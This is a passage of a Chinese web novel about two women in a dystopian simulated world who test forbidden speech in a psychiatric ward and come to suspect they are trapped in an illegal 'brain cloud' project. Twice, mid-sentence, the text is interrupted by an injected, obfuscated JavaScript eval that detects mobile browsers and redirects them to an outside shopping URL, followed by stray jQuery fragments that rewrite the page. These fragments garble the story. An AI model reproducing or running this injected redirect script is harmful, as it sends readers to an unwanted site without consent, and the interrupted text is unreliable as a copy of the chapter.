小月抬起头,脸上带着那种刚入院的病人特有的茫然——柯维不得不承认,她演得很像。
“大夫,”小月开口,声音轻轻的,“我……我有一个请求。”
医生停下脚步,看着她。
“我想留长头发。”小月说。
病房里安静了一秒。
医生的表情没有变化,但柯维看见她的目光从小月的脸上移到了床头柜——那里放着几样东西,又移回来,像是在做某种评估。
“为什么想留长头发?”医生问,语气很平和。
小月低下头,手指绞着被单边缘:“就是……想留。看着好看。”
“好看?”医生重复了一遍这个词,微微侧过头,“你觉得长头发好看?”
“嗯。”小月的头埋得更低了。
医生往前走了一步,在她床边坐下。这个动作让柯维的后背绷紧了——她原本以为医生会直接打断,或者在病历上写点什么然后离开。但医生坐下了。
“跟我说说,”医生的声音仍然很平和,甚至带着一点循循善诱的耐心,“从什么时候开始有这个想法的?”
小月愣了一下。
柯维知道她在想什么——这和预期的剧本不一样。她们以为只要说出违规的话,某种“系统”就会立刻反应,就像档案室里那些猝死的记录一样干脆。但医生没有反应,她只是在问,在听,在收集信息——显然,医生并非那个“系统”的耳目。
“有……有一阵子了。”小月说,声音开始发飘。
“一阵子是多久?”医生问。
“几个月?我也说不清……”
“那你之前跟别人说过吗?”
“没、没有。”
“为什么没有?”
小月张了张嘴。
柯维看见她的手指在被单上攥紧了,指节慢慢地失血变白。
这并非紧张,而是生理上的痛苦。
“因、因为……”小月的话没说完,整个人的姿势就凝固了,像是被什么东西从内部按下了暂停键。她的眼睛还睁着,但目光散了,不再聚焦在任何地方。
“小月?”柯维脱口而出。
医生转头看了她一眼。“小月”这个名字与小月现在使用的身份不符,医生只会把柯维当成普通的发病。
而她再看小月的时候,小月已经恢复了——或者说,至少脱离了死亡威胁。她低着头,肩膀剧烈地起伏,大口大口地喘气,像是刚从水底挣扎着浮上来。她的左手按着胸口,病号服被攥出一把褶皱。
“我……”小月的声音沙哑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300386|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气声很重,“我开玩笑的,纯开玩笑……我怎么可能留长发?”
医生看着她,没有说什么,只是在病历上记了些东西。
15
医生离开后,柯维走到小月床边。小月还保持着那个姿势,手按在胸口,脸色苍白得吓人。
“刚才怎么回事儿?”柯维压低声音。
“差点儿就没了。”小月说,声音很轻,“我刚说了两句,心口就疼起来了,也喘不上气儿。脑子里有东西在嗡嗡响——不是耳朵里的那种响,是脑子里的,像……像有什么东西在扫描,在检查。”
她顿了顿,咽了口唾沫。
“我改口的时候,那个感觉才慢慢退下去。”她看着自己的手,“不像按开关那么快,像……像它需要时间确认你是不是真的改口了。”
柯维听着,心跳得很快。
“你还要试吗?”小月问。
柯维沉默了片刻才点头:“要。”
16
那天晚上柯维没睡好。
她躺在床上,盯着天花板,脑子里转来转去都是小月白天说的话——“像有什么东西在扫描,在检查”。一个想法快速划过脑海,但她又没抓住。
或许只有她亲身经历了,才能想起来那到底是什么。
第二天早上查房的时候,柯维对医生说:“大夫,我有个事儿想说。”
医生看着她,态度仍然平和。
“我喜欢女人。”柯维说。
医生脸上没有任何特别的表情变化——这是一家心理医院,病人在心理上不同常人,才符合医生的预期。
“喜欢女人?”医生重复。
柯维点头,硬着头皮继续说:“对……就是想和女人在一起。我想……想跟女人结婚。”
“你以前喜欢过谁吗?”医生问。
“没、没有。”
“那你怎么知道你喜欢女人?”
柯维张了张嘴。
她并非不知道该如何伪装,但此时突然感觉胸口开始发紧,像有一只手从里面攥住了她的心脏,正在一点一点地收紧。
“我……”她想回答,但声音卡在嗓子里。
医生的脸在她的视野里变得模糊,眼前开始出现黑点,一小片一小片的,像有飞蛾在视野里扑腾。她听见自己的呼吸变得又浅又急,像某种小动物临死前的那种喘气。
“不,我不喜欢女人。”她连忙说,以此来自救,“我从来没有喜欢过女人。”
攥着心脏的力量松了一点,但没有完全松开。
“我真正喜欢的是男人。”她说,声音抖得厉害,几乎是从牙缝里挤出来的。
攥着心脏的手又松了一点,但还在。
为什么还在?
柯维的脑子开始转不动了。眼前的东西越来越黑,只有医生那张脸还在视野中央,模模糊糊地,像隔着一层水在看。她听见自己的心跳,像有人在很远的地方敲鼓,鼓声越来越远。
不对!
她说的都是对的——她作为女人,不喜欢女人才是对的,喜欢男人才是对的。她说的每一句都是对的,为什么那个东西还在收紧?
柯维想不明白。脑子已经转不动了,只剩下一个念头在转:我得说点什么,我得再说点什么,让它松手。
说什么?
说什么才是对的?
她想起档案室里那些档案,想起那些被诊断为“性别认知障碍”的人——女同性恋是认知障碍,拒绝生育考核是认知障碍,帮哥哥逃跑是认知障碍。在这个世界里,什么是正常的?什么是对的?
一个女人,应该——
应该恨男人。
这个念头从她脑子里划过的时候,攥着心脏的手突然松了一点点。
柯维抓住了那个缝隙。
“我讨厌男人。”她听见自己在心里说——她已经说不出话了,嘴唇动不了,舌头也动不了,只剩下脑子还能转,“我讨厌男人,我不喜欢男的——”
“我只想跟男人上床,但我藐视他们。”
攥着心脏的手一下子松开了。
柯维大口大口地喘气。眼前的东西还在晃,但黑色在退,光在一点一点渗进来。她看见医生的脸,还站在原地看着她,似乎在评估她的精神状态。
然后她听见了一个声音。
不是病房里任何一个人说的,而是来自她脑子里,听上去很远很远:“哦得了,又一个‘聚集点’。”
柯维愣住了。
13. 逃离黑产天国(4)
17
柯维确信自己之前听说过“聚集点”这个词。
但她想了半天,想不起来。她对心理学之类的毫无了解,这词听起来像是学术用语,可又带着点随意的味道,像是某个行业内部的俗称。
那天晚上她没睡好。脑子里转来转去都是那个声音——“哦得了,又一个‘聚集点’。”很远,很淡,像是有人隔着一条街随口说了一句话,恰好被她听见。
后来她睡着了。
梦是从什么时候开始的,她说不清。
她在一个六面都是浅绿色波纹的房间里,房间是虚构的,或者说,是在虚拟的世界。
面前是六块屏幕,排成两排三列,每一块上都滚着密密麻麻的源码。当她的目光投射到任意源码时,旁边的空间里会出现该源码所构建实体的投影。
“新来的?”一个声音从虚空中传来。
柯维的注意力转移过去,她能看到一个女人的虚拟形象,在另一个六面体构成的工位。这人的形象三十来岁,扎着低马尾,手里端着一个印着公司logo的马克杯,里面飘出来霓虹灯色系的彩虹。
“嗯。”柯维听见自己说,“今天第一天。”
“没事儿。”女人喝了口咖啡,“这活儿说起来也简单,主要是干起来得靠悟性。”
“入职培训还记得吧?基础知识我就不说了。”女人将自己的监控面板内容投射给柯维,“总之,咱们管的是脑云里这些乱七八糟的信号。有人连进去,有人断出来,有人在里面待久了脑子卡住——这些都会生成报错。”
“报错在系统里显示都差不多,一个红点,几种代码,系统分辨不出来,所以需要咱们来分。”
“嗯,这个我懂。”梦中的柯维说,她想着入职培训确实都讲得很清楚了。
“你懂?懂个屁。”那女人的光标指向其中一行,“这个报错,看见没?你给分析分析。”
柯维凑过去看,她的目光接触到那行源码时,旁边投射出源码的内容——三只狗在云端飞,互相闻对方的屁股。
“这……”梦中的柯维迟疑了,“看不懂,我们没学过这种……”
“我也看不懂。”女人说,“但我知道它不用管。”
柯维看着她。
女人叹了口气,像是不知道该怎么解释:“这东西叫‘聚集点’。”
柯维的心跳漏了一拍。
“全称是‘噪声聚集点’,”女人说,“意思就是脑云里潜意识层的噪声,上浮到表意识层的时候,会随机聚在一起,聚成有内容的东西。”
“有内容?”
“对,表现为某个人突然冒出来的某个想法。”女人说,“比如这个人正在工位上摸鱼,脑子里突然冒出来这三条狗的玩意儿。不知道这想法从哪来的,这个人也没养狗,但它就是冒出来了。”
柯维听着,没说话。
“那就是聚集点。”女人说,“潜意识里的噪声聚成了有内容的意识,但它没有实际意义。不是那个人真的有三只狗,只是噪声恰好聚成了那个形状。”
“所以……”
“所以它不算bug。”女人说,“它就是一个假信号。你看着像报错,但它不是真的报错。你不管它,它自己就散了。你非要去修,反而会出问题。”
柯维沉默了一会儿。
“那怎么区分?”她问,“真的报错和……聚集点?”
女人看着她,忽然笑了:“这就是这活儿他妈难的地方。从大方向上,你要跟踪这个用户之前的意识活动,判断这个突然出现的报错到底是有根源的,还是偶然形成。但实际上——”
她用光标圈起了一百多条报错:“咱的活儿太他妈多了,没有那么多时间给你浪费。所以你只能靠经验,靠感觉,靠常识——你作为一个自然人,得知道什么是正常的。”
柯维想说什么,但眼前忽然开始变暗。
那个女人的脸变得模糊,她自己回应的声音也越来越远,像是有人在调低音量。
她醒了。
睁眼,看到病房的天花板。
柯维躺在床上,心跳得很快。
那个梦。那些屏幕,那个女人,那个词——
聚集点。
脑云……超算集群……虚拟世界……人类通过脑机接口连进去的世界,在她“真正”的人生里,她就在那里工作。
在那个世界里的她,每天有10个小时都在处理那些报错信息——无害的报错叫“聚集点”,不是bug,不需要修复。
柯维慢慢坐起来,把被子掀到一边。
她想起那个声音:“哦得了,又一个‘聚集点’。”
那是管理员的声音。
而这个不合逻辑的世界——是脑云里的一个项目。
但是不对……
那个管理员的声音太随意了,违反了脑云公司管理员的工作规定。如果是公司官方的项目,面向大众正式运营的东西,管理员不允许直接对着用户用那种语气说话——正规搭建的项目有监控隔离机制,管理员从外面发出的吐槽,不会直接传到项目当中去。
这意味着什么?
意味着这个项目是私人的——换言之,是不合法的。某些人偷偷在脑云里搭建了这个世界,但公司不知道。
意味着她们——柯维,小月,还有档案室里那些死于“心源性猝死”的人——都是困在这个非法项目里的意识。可能是这些违法者骗过来的受害者,甚至是通过非法医疗机构偷连进来的……也可能是主动参与的用户,但在进入后被抹去了对于外界的记忆。
但有一点,柯维此时非常明确。
如果这个世界是脑云里的一个项目,那就有出口。
明天,她们得重新计划了。
18
第二天早上,柯维对面的床又空了。
之后护士告诉她,她的室友死了,半夜里,心源性猝死。
上午九点多,医生来和她单独谈话,开门见山:“你和梁峰文平时相处怎么样?”
柯维反应了两秒,才意识到“梁峰文”是小月上一副身体的名字:“还……还行。”
“她死之前,跟你说过什么没有?”医生又问。
柯维想了想:“没有。昨晚睡觉前还好好的。”
医生在病历上写了点什么就走了。看样子,这种半夜猝死的案例并不少见,只是柯维入院后连着死了两个室友,这一点有些不同寻常。
19
又过了两天,小月在意料之中地回来了。
护士领着人进门的时候,柯维正坐在床边发呆。她听见门响,转过头,看见一个瘦高的女人走进来,二十来岁,颧骨有点高,穿着病号服——完全陌生。
等护士走后,那人开口,语气很熟悉:“姐们儿,我又回来了。”
柯维的手攥紧了被子:“你——”
“那个壳子又死了。”小月说,“换了一个。”
这种事也见怪不怪了。
柯维直接切入正题:“你怎么又死了?”
小月往后一靠,仰头看着天花板:“做梦做的。”
柯维等着。
小月没看她,声音有点飘:“我那天梦到下雨,挺大的雨,我在学校门口站着,有人骑车来接我,穿着雨衣,带了伞。”
她顿了顿:“我坐后座上,抓着那个人的雨衣,腿边上挂着个保温桶。那个人说,‘先去给你妈送饭,她今晚值班’。”
柯维听着,没说话。
“雨特别大,伞遮不住,我的裤腿湿了。”小月的声音越来越轻,“然后我说了一句话。”
她停住了。
“说什么?”柯维问。
小月转过头,看着她:“我叫了那个人。”
柯维不明所以:“叫什么?”
小月蹙眉:“当然是……那个称呼,你不知道么?”
“我在梦里叫了那个不存在的称呼。”小月说,“然后立刻心脏疼,脑子里嗡嗡响——跟之前一样。如果是清醒的时候,我还可以改口,但那是梦,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303598|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
控制不了,然后就死了。”
柯维沉默了很久。
“那个称呼——”她慢慢地说,“或者说那个人,在这个世界存在,只是不能那么叫,是不是?”
小月点了点头。
柯维想起自己家里的那个男人。母亲的夫郎,给她缝过校服,给她打过热水,每一次在她生病时照顾她。她叫他“叔叔”。
但她脑子里有什么东西在动。
那些模糊的、不属于这个世界的记忆碎片里,有另一个称呼。那个称呼哽在她喉咙里,她叫不出来,甚至想不出来具体是什么——但她知道它存在。
“那个人。”柯维说,“你梦里那个人,是你的——”
小月立刻打断她:“是我的另一个家长。在这个世界,不存在这种家长。”
柯维没有再说什么
她想起来了,那个称呼是“父亲”。
在另一个世界,她也有父亲。只是她的父亲……柯维只能说,她曾经并没有出生为一个正确的性别,也并没有一个健全的原生家庭。
但她能理解,在小月的心里,她父母一定对她而言非常重要。
19
柯维把梦里的东西说了。六个面的工位,成排的屏幕,曾经带她的前辈——还有“聚集点”。
小月听完,愣在那儿,半天没动。
“你是说,”她开口,声音发飘,“咱们现在待的这个地方,是什么‘脑云’里头的……一个项目?”
“应该是。”柯维答。
“你以前在那儿上班?”小月又问。
“是的。”柯维又答。
小月又愣了一会儿,忽然笑了一下,却看不出来有多高兴:“2008年可没有这个,2019年也没有。我活到2019年了——新冠那会儿,在家抢菜,好像能想起来。可你说的这些东西,那会儿连影儿都没有。”
柯维没说话。
小月靠回床上,盯着天花板,声音像是说给自己听的:“现在到底是哪年?”
“你说,”小月忽然转过头,眼睛里带着点奇怪的光,“我会不会是死在新冠里头了?重症,没救过来,然后就被拉进这儿了?”
柯维看着她,不知道该说什么。
“也说不定。”小月自己接了一句,又转回去盯着天花板,“反正那会儿死的人多了,少一个两个的,也没人知道。”
柯维沉默了一会儿,说:“2022年的时候,也没有脑云。”
“我那时候……年纪还小。”柯维慢慢地说,那些记忆碎片在脑子里浮浮沉沉,“但脑云是肯定没有,后来才有的。”
小月没问后来是多久,柯维自己也说不清。
两个人各自沉默了一会儿。
“所以,”小月先开口,“你是正经在那儿上过班的,你知道这东西怎么运转。”
“知道一点儿。”
“那咱们接着演。”小月坐直了,看着她,“你说过那些话的时候,有管理员的声音冒出来,这是个机会。你要是能再听见,多听几句,说不定能知道怎么出去。”
柯维明显迟疑了。
小月看着她,忽然问:“你怕死?”
柯维想了想:“按脑云的逻辑,这里的用户死不了。最多是……抹掉记忆,换一个身份。”
“那不就行了?”
“行。”柯维说。
但她真正的顾虑,却没有在此时说出口。
经过了那个梦,她有一点想起来,在那个真实的世界里,她为了改造出生理结构上来说正确的身体,等了二十八年。而在这个世界里,虽然世界是虚假的,但她真的是一个天然的、健康的、虽然比较不符合她的个人审美但也无伤大雅的,真正的女人。
万一被抹掉记忆重开,下次醒来,她还会是女的吗?万一再被塞进一个男人的壳子里呢?
从个人情感上,她宁可在这个荒谬的世界里当女人,也不想回到那个世界——那个她需要用手术刀才能把自己修正成正确性别的世界。